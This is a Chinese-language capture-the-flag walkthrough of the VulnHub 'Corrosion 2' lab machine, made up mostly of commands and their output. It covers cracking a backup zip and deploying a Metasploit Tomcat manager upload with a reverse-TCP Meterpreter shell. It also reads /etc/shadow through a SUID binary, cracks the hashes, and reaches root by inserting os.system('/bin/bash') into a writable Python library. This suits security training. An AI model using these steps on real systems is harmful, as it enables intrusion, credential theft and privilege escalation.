Download: https://download.vulnhub.com/corrosion/Corrosion2.ova
Description
Difficulty: Medium
Hint: Enumeration is key.
一：信息收集
netdiscover 探测 IP
$ sudo netdiscover -i ens33 -r 192.168.1.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
120 Captured ARP Req/Rep packets, from 3 hosts. Total size: 7200
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.1 50:d2:f5:7c:60:ea 118 7080 Beijing Xiaomi Mobile Software Co., Ltd
192.168.1.179 08:00:27:84:7b:32 1 60 PCS Systemtechnik GmbH
192.168.1.238 52:96:66:d8:a6:d9 1 60 Unknown vendor
端口
全端口扫描
$ nmap -p- 192.168.1.179
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-26 09:22 EDT
Nmap scan report for 192.168.1.179
Host is up (0.00015s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 1.15 seconds
--script=default，版本扫描
$ nmap -p22,80,8080 -sC -sV 192.168.1.179
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-26 09:28 EDT
Nmap scan report for 192.168.1.179
Host is up (0.00044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open http Apache Tomcat 9.0.53
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.53
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.70 seconds
--script=vuln 扫描
$ nmap -p22,80,8080 --script=vuln 192.168.1.179
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-26 09:30 EDT
Nmap scan report for 192.168.1.179
Host is up (0.00035s latency).
PORT STATE SERVICE
22/tcp open ssh
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open http
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
8080/tcp open http-proxy
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-enum:
| /backup.zip: Possible backup
| /examples/: Sample scripts
| /manager/html/upload: Apache Tomcat (401 )
| /manager/html: Apache Tomcat (401 )
|_ /docs/: Potentially interesting folder
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
Nmap done: 1 IP address (1 host up) scanned in 43.92 seconds
目录爆破
$ gobuster dir -u http://192.168.1.179 -w /wordlist/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.179
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /wordlist/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
2023/05/26 23:24:20 Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 278]
/index.html (Status: 200) [Size: 10918]
/.html (Status: 403) [Size: 278]
/server-status (Status: 403) [Size: 278]
Progress: 872405 / 882244 (98.88%)
===============================================================
2023/05/26 23:24:56 Finished
===============================================================
8080端口
$ gobuster dir -u http://192.168.1.179:8080 -w /wordlist/directory-list-2.3-medium.txt -x php,html,txt -b 404,400
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.179:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /wordlist/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,400
[+] User Agent: gobuster/3.5
[+] Extensions: txt,php,html
[+] Timeout: 10s
===============================================================
2023/05/26 23:30:45 Starting gobuster in directory enumeration mode
===============================================================
/docs (Status: 302) [Size: 0] [--> /docs/]
/examples (Status: 302) [Size: 0] [--> /examples/]
/readme.txt (Status: 200) [Size: 153]
/manager (Status: 302) [Size: 0] [--> /manager/]
/RELEASE-NOTES.txt (Status: 200) [Size: 6898]
Progress: 876270 / 882244 (99.32%)
===============================================================
2023/05/26 23:33:01 Finished
===============================================================
二：GetShell
藏东西了
$ curl http://192.168.1.179:8080/readme.txt
Hey randy! It's your System Administrator. I left you a file on the server, I'm sure nobody will find it.
Also remember to use that password I gave you.
后面看了wp是zip格式。
$ gobuster dir -u http://192.168.1.179:8080 -w /wordlist/directory-list-2.3-medium.txt -x zip -b 404,400
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.179:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /wordlist/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,400
[+] User Agent: gobuster/3.5
[+] Extensions: zip
[+] Timeout: 10s
===============================================================
2023/05/26 23:44:16 Starting gobuster in directory enumeration mode
===============================================================
/docs (Status: 302) [Size: 0] [--> /docs/]
/examples (Status: 302) [Size: 0] [--> /examples/]
/backup.zip (Status: 200) [Size: 33723]
/manager (Status: 302) [Size: 0] [--> /manager/]
Progress: 438825 / 441122 (99.48%)
===============================================================
2023/05/26 23:45:21 Finished
===============================================================
wget下backup.zip
$ wget http://192.168.1.179:8080/backup.zip
--2023-05-26 23:45:49-- http://192.168.1.179:8080/backup.zip
Connecting to 192.168.1.179:8080... connected.
HTTP request sent, awaiting response... 200
Length: 33723 (33K) [application/zip]
Saving to: ‘backup.zip’
backup.zip 100%[====================================================================================================>] 32.93K --.-KB/s in 0s
2023-05-26 23:45:49 (382 MB/s) - ‘backup.zip’ saved [33723/33723]
发现有密码
$ unzip backup.zip
Archive: backup.zip
[backup.zip] catalina.policy password:
skipping: catalina.policy incorrect password
skipping: context.xml incorrect password
skipping: catalina.properties incorrect password
skipping: jaspic-providers.xml incorrect password
skipping: jaspic-providers.xsd incorrect password
skipping: logging.properties incorrect password
skipping: server.xml incorrect password
skipping: tomcat-users.xml incorrect password
skipping: tomcat-users.xsd incorrect password
skipping: web.xml incorrect password
fcrackzip破解一下
$ fcrackzip -u -D -p /wordlist/dict.txt backup.zip
PASSWORD FOUND!!!!: pw == @administrator_hi5
获得了两个账号和密码
$ cat tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.
Built-in Tomcat manager roles:
- manager-gui - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
The users below are wrapped in a comment and are therefore ignored. If you
wish to configure one or more of these users for use with the manager web
application, do not forget to remove the <!.. ..> that surrounds them. You
will also need to set the passwords to something appropriate.
-->
<!--
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
-->
<!--
The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<role rolename="manager-gui"/>
<user username="manager" password="melehifokivai" roles="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="melehifokivai" roles="admin-gui, manager-gui"/>
上传一句话木马
$ jar -cvf shell.war cmdjsp.jsp
added manifest
adding: cmdjsp.jsp(in = 725) (out= 418)(deflated 42%)
成功GetShell
$ msfconsole
+-------------------------------------------------------+
| METASPLOIT by Rapid7 |
+---------------------------+---------------------------+
| __________________ | |
| ==c(______(o(______(_() | |""""""""""""|======[*** |
| )=\ | | EXPLOIT \ |
| // \\ | |_____________\_______ |
| // \\ | |==[msf >]============\ |
| // \\ | |______________________\ |
| // RECON \\ | \(@)(@)(@)(@)(@)(@)(@)/ |
| // \\ | ********************* |
+---------------------------+---------------------------+
| o O o | \'\/\/\/'/ |
| o O | )======( |
| o | .' LOOT '. |
| |^^^^^^^^^^^^^^|l___ | / _||__ \ |
| | PAYLOAD |""\___, | / (_||_ \ |
| |________________|__|)__| | | __||_) | |
| |(@)(@)"""**|(@)(@)**|(@) | " || " |
| = = = = = = = = = = = = | '--------------' |
+---------------------------+---------------------------+
=[ metasploit v6.3.19-dev- ]
+ -- --=[ 2318 exploits - 1209 auxiliary - 412 post ]
+ -- --=[ 1230 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: View all productivity tips with the
tips command
Metasploit Documentation: https://docs.metasploit.com/
msf6 > search tomcat
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/http/apache_commons_fileupload_dos 2014-02-06 normal No Apache Commons FileUpload and Apache Tomcat DoS
1 exploit/multi/http/struts_dev_mode 2012-01-06 excellent Yes Apache Struts 2 Developer Mode OGNL Execution
2 exploit/multi/http/struts2_namespace_ognl 2018-08-22 excellent Yes Apache Struts 2 Namespace Redirect OGNL Injection
3 exploit/multi/http/struts_code_exec_classloader 2014-03-06 manual No Apache Struts ClassLoader Manipulation Remote Code Execution
4 auxiliary/admin/http/tomcat_ghostcat 2020-02-20 normal Yes Apache Tomcat AJP File Read
5 exploit/windows/http/tomcat_cgi_cmdlineargs 2019-04-10 excellent Yes Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability
6 exploit/multi/http/tomcat_mgr_deploy 2009-11-09 excellent Yes Apache Tomcat Manager Application Deployer Authenticated Code Execution
7 exploit/multi/http/tomcat_mgr_upload 2009-11-09 excellent Yes Apache Tomcat Manager Authenticated Upload Code Execution
8 auxiliary/dos/http/apache_tomcat_transfer_encoding 2010-07-09 normal No Apache Tomcat Transfer-Encoding Information Disclosure and DoS
9 auxiliary/scanner/http/tomcat_enum normal No Apache Tomcat User Enumeration
10 exploit/linux/local/tomcat_rhel_based_temp_priv_esc 2016-10-10 manual Yes Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation
11 exploit/linux/local/tomcat_ubuntu_log_init_priv_esc 2016-09-30 manual Yes Apache Tomcat on Ubuntu Log Init Privilege Escalation
12 exploit/multi/http/atlassian_confluence_webwork_ognl_injection 2021-08-25 excellent Yes Atlassian Confluence WebWork OGNL Injection
13 exploit/windows/http/cayin_xpost_sql_rce 2020-06-04 excellent Yes Cayin xPost wayfinder_seqid SQLi to RCE
14 exploit/multi/http/cisco_dcnm_upload_2019 2019-06-26 excellent Yes Cisco Data Center Network Manager Unauthenticated Remote Code Execution
15 exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec 2021-05-05 excellent Yes Cisco HyperFlex HX Data Platform Command Execution
16 exploit/linux/http/cisco_hyperflex_file_upload_rce 2021-05-05 excellent Yes Cisco HyperFlex HX Data Platform unauthenticated file upload to RCE (CVE-2021-1499)
17 exploit/linux/http/cpi_tararchive_upload 2019-05-15 excellent Yes Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability
18 exploit/linux/http/cisco_prime_inf_rce 2018-10-04 excellent Yes Cisco Prime Infrastructure Unauthenticated Remote Code Execution
19 post/multi/gather/tomcat_gather normal No Gather Tomcat Credentials
20 auxiliary/dos/http/hashcollision_dos 2011-12-28 normal No Hashtable Collisions
21 auxiliary/admin/http/ibm_drm_download 2020-04-21 normal Yes IBM Data Risk Manager Arbitrary File Download
22 exploit/linux/http/lucee_admin_imgprocess_file_write 2021-01-15 excellent Yes Lucee Administrator imgProcess.cfm Arbitrary File Write
23 exploit/linux/http/mobileiron_core_log4shell 2021-12-12 excellent Yes MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)
24 exploit/multi/http/zenworks_configuration_management_upload 2015-04-07 excellent Yes Novell ZENworks Configuration Management Arbitrary File Upload
25 exploit/multi/http/spring_framework_rce_spring4shell 2022-03-31 manual Yes Spring Framework Class property RCE (Spring4Shell)
26 auxiliary/admin/http/tomcat_administration normal No Tomcat Administration Tool Default Access
27 auxiliary/scanner/http/tomcat_mgr_login normal No Tomcat Application Manager Login Utility
28 exploit/multi/http/tomcat_jsp_upload_bypass 2017-10-03 excellent Yes Tomcat RCE via JSP Upload Bypass
29 auxiliary/admin/http/tomcat_utf8_traversal 2009-01-09 normal No Tomcat UTF-8 Directory Traversal Vulnerability
30 auxiliary/admin/http/trendmicro_dlp_traversal 2009-01-09 normal No TrendMicro Data Loss Prevention 5.5 Directory Traversal
31 post/windows/gather/enum_tomcat normal No Windows Gather Apache Tomcat Enumeration
Interact with a module by name or index. For example info 31, use 31 or use post/windows/gather/enum_tomcat
msf6 > use exploit/multi/http/tomcat_mgr_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > options
Module options (exploit/multi/http/tomcat_mgr_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The password for the specified username
HttpUsername no The username to authenticate as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /manager yes The URI path of the manager app (/html/upload and /undeploy will be used)
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.171 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java Universal
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword melehifokivai
HttpPassword => melehifokivai
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername admin
HttpUsername => admin
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.1.179
RHOSTS => 192.168.1.179
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8080
RPORT => 8080
msf6 exploit(multi/http/tomcat_mgr_upload) > run
[-] Exploit aborted due to failure: not-found: The target server fingerprint " ( 401-Basic realm="Tomcat Manager Application" )" does not match "(?-mix:Apache.*(Coyote|Tomcat))", use 'set FingerprintCheck false' to disable this check.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/tomcat_mgr_upload) > set FingerprintCheck false
FingerprintCheck => false
msf6 exploit(multi/http/tomcat_mgr_upload) > run
[*] Started reverse TCP handler on 192.168.1.171:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying Bl7g3...
[*] Executing Bl7g3...
[*] Undeploying Bl7g3 ...
[*] Sending stage (58851 bytes) to 192.168.1.179
[*] Undeployed at /manager/html/undeploy
[*] Meterpreter session 1 opened (192.168.1.171:4444 -> 192.168.1.179:38660) at 2023-05-27 02:05:17 -0400
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
cd /home/randy
pwd
/home/randy
ls -la
total 84
dr-xr-xr-x 15 randy randy 4096 Sep 20 2021 .
drwxr-xr-x 4 root root 4096 Sep 17 2021 ..
-rw-r--r-- 1 root root 0 Sep 17 2021 .bash_history
-rw-r--r-- 1 randy randy 220 Sep 16 2021 .bash_logout
-rw-r--r-- 1 randy randy 3771 Sep 16 2021 .bashrc
drwxr-xr-x 12 randy randy 4096 Sep 17 2021 .cache
drwx------ 10 randy randy 4096 Sep 16 2021 .config
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Desktop
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Documents
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Downloads
drwx------ 3 randy randy 4096 Sep 20 2021 .gnupg
drwxr-xr-x 3 randy randy 4096 Sep 16 2021 .local
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Music
-rw-r--r-- 1 root root 283 Sep 20 2021 note.txt
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Pictures
-rw-r--r-- 1 randy randy 807 Sep 16 2021 .profile
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Public
-rwxr-xr-x 1 root root 210 Sep 20 2021 randombase64.py
drwx------ 2 randy randy 4096 Sep 17 2021 .ssh
-rw-r--r-- 1 randy randy 0 Sep 16 2021 .sudo_as_admin_successful
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Templates
-rw-rw-r-- 1 randy randy 33 Sep 17 2021 user.txt
drwxr-xr-x 2 randy randy 4096 Sep 16 2021 Videos
三：提权
uesr_flag
cat randombase64.py
import base64
message = input("Enter your string: ")
message_bytes = message.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
print(base64_message)
cat user.txt
NULLLLLLLLLLLLLLLLLLLLLLLLLLLLLL
cat note.txt
Hey randy this is your system administrator, hope your having a great day! I just wanted to let you know
that I changed your permissions for your home directory. You won't be able to remove or add files for now.
I will change these permissions later on.
See you next Monday randy!
tomcat@corrosion:/home$ su jaye
su jaye
Password: melehifokivai
$ id
id
uid=1002(jaye) gid=1002(jaye) groups=1002(jaye)
$
jaye 的 look 目录存在 一个look
$ find ./Files
find ./Files
./Files
./Files/look
$ cd ./Files
$ ls -la
ls -la
total 24
drwxr-xr-x 2 root root 4096 Sep 17 2021 .
drwxr-x--x 18 jaye jaye 4096 Sep 17 2021 ..
---s--s--x 1 root root 14728 Sep 17 2021 look
/etc/shadow
$ ./look '' /etc/shadow
./look '' /etc/shadow
root:$6$fHvHhNo5DWsYxgt0$.3upyGTbu9RjpoCkHfW.1F9mq5dxjwcqeZl0KnwEr0vXXzi7Tld2lAeYeIio/9BFPjUCyaBeLgVH1yK.5OR57.:18888:0:99999:7:::
daemon:*:18858:0:99999:7:::
bin:*:18858:0:99999:7:::
sys:*:18858:0:99999:7:::
sync:*:18858:0:99999:7:::
games:*:18858:0:99999:7:::
man:*:18858:0:99999:7:::
lp:*:18858:0:99999:7:::
mail:*:18858:0:99999:7:::
news:*:18858:0:99999:7:::
uucp:*:18858:0:99999:7:::
proxy:*:18858:0:99999:7:::
backup:*:18858:0:99999:7:::
list:*:18858:0:99999:7:::
irc:*:18858:0:99999:7:::
gnats:*:18858:0:99999:7:::
nobody:*:18858:0:99999:7:::
systemd-network:*:18858:0:99999:7:::
systemd-resolve:*:18858:0:99999:7:::
systemd-timesync:*:18858:0:99999:7:::
messagebus:*:18858:0:99999:7:::
syslog:*:18858:0:99999:7:::
_apt:*:18858:0:99999:7:::
tss:*:18858:0:99999:7:::
uuidd:*:18858:0:99999:7:::
tcpdump:*:18858:0:99999:7:::
avahi-autoipd:*:18858:0:99999:7:::
usbmux:*:18858:0:99999:7:::
rtkit:*:18858:0:99999:7:::
dnsmasq:*:18858:0:99999:7:::
cups-pk-helper:*:18858:0:99999:7:::
speech-dispatcher:!:18858:0:99999:7:::
avahi:*:18858:0:99999:7:::
kernoops:*:18858:0:99999:7:::
saned:*:18858:0:99999:7:::
nm-openvpn:*:18858:0:99999:7:::
hplip:*:18858:0:99999:7:::
whoopsie:*:18858:0:99999:7:::
colord:*:18858:0:99999:7:::
geoclue:*:18858:0:99999:7:::
pulse:*:18858:0:99999:7:::
gnome-initial-setup:*:18858:0:99999:7:::
gdm:*:18858:0:99999:7:::
sssd:*:18858:0:99999:7:::
randy:$6$bQ8rY/73PoUA4lFX$i/aKxdkuh5hF8D78k50BZ4eInDWklwQgmmpakv/gsuzTodngjB340R1wXQ8qWhY2cyMwi.61HJ36qXGvFHJGY/:18888:0:99999:7:::
systemd-coredump:!!:18886::::::
tomcat:$6$XD2Bs.tL01.5OT2b$.uXUR3ysfujHGaz1YKj1l9XUOMhHcKDPXYLTexsWbDWqIO9ML40CQZPI04ebbYzVNBFmgv3Mpd3.8znPfrBNC1:18888:0:99999:7:::
sshd:*:18887:0:99999:7:::
jaye:$6$Chqrqtd4U/B1J3gV$YjeAWKM.usyi/JxpfwYA6ybW/szqkiI1kerC4/JJNMpDUYKavQbnZeUh4WL/fB/4vrzX0LvKVWu60dq4SOQZB0:18887:0:99999:7:::
$ john --wordlist=/wordlist/dict.txt hash
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
0g 0:00:09:56 66.72% (ETA: 03:09:22) 0g/s 16069p/s 16069c/s 16069C/s blondac..block101
07051986randy (randy)
1g 0:00:14:28 DONE (2023-05-27 03:08) 0.001151g/s 16049p/s 16049c/s 16049C/s 070624960..070488m
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
root_flag
team003@kill:~$ ssh randy@192.168.1.179
randy@192.168.1.179's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-34-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
19 updates can be applied immediately.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
New release '22.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
randy@corrosion:~$
randy@corrosion:~$ ls
Desktop Downloads note.txt Public Templates Videos
Documents Music Pictures randombase64.py user.txt
randy@corrosion:~$ sudo -l 07051986randy
[sudo] password for randy:
sudo: 07051986randy: command not found
randy@corrosion:~$ sudo -l
Matching Defaults entries for randy on corrosion:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User randy may run the following commands on corrosion:
(root) PASSWD: /usr/bin/python3.8 /home/randy/randombase64.py
randy@corrosion:~$
randy@corrosion:~$ sudo -l
Matching Defaults entries for randy on corrosion:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User randy may run the following commands on corrosion:
(root) PASSWD: /usr/bin/python3.8 /home/randy/randombase64.py
randy@corrosion:~$ cat randombase64.py
import base64
message = input("Enter your string: ")
message_bytes = message.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
print(base64_message)
randy@corrosion:~$ find / -name base64.py 2>/dev/null
/snap/core18/2128/usr/lib/python3.6/base64.py
/snap/core18/2745/usr/lib/python3.6/base64.py
/snap/gnome-3-34-1804/93/usr/lib/python2.7/base64.py
/snap/gnome-3-34-1804/93/usr/lib/python3.6/base64.py
/snap/gnome-3-34-1804/72/usr/lib/python2.7/base64.py
/snap/gnome-3-34-1804/72/usr/lib/python3.6/base64.py
/snap/core22/634/usr/lib/python3.10/base64.py
/usr/lib/python3.8/base64.py
randy@corrosion:~$ ls -ls /usr/lib/python3.8/base64.py
20 -rwxrwxrwx 1 root root 20386 Sep 20 2021 /usr/lib/python3.8/base64.py
randy@corrosion:~$ vi /usr/lib/python3.8/base64.py
randy@corrosion:~$ nano /usr/lib/python3.8/base64.py
randy@corrosion:~$ head -10 /usr/lib/python3.8/base64.py
#! /usr/bin/python3.8
"""Base16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings"""
# Modified 04-Oct-1995 by Jack Jansen to use binascii module
# Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support
# Modified 22-May-2007 by Guido van Rossum to use bytes everywhere
import re
import struct
randy@corrosion:~$ head -15 /usr/lib/python3.8/base64.py
#! /usr/bin/python3.8
"""Base16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings"""
# Modified 04-Oct-1995 by Jack Jansen to use binascii module
# Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support
# Modified 22-May-2007 by Guido van Rossum to use bytes everywhere
import re
import struct
import binascii
import os
os.system('/bin/bash')
randy@corrosion:~$ sudo /usr/bin/python3.8 /home/randy/randombase64.py
root@corrosion:/home/randy# id
uid=0(root) gid=0(root) groups=0(root)
root@corrosion:/home/randy# cd /root
root@corrosion:~# ls
root.txt snap
root@corrosion:~# cat root.txt
NULLLLLLLLLLLLLLLLLLLLLLLLLLLLLL
root@corrosion:~#
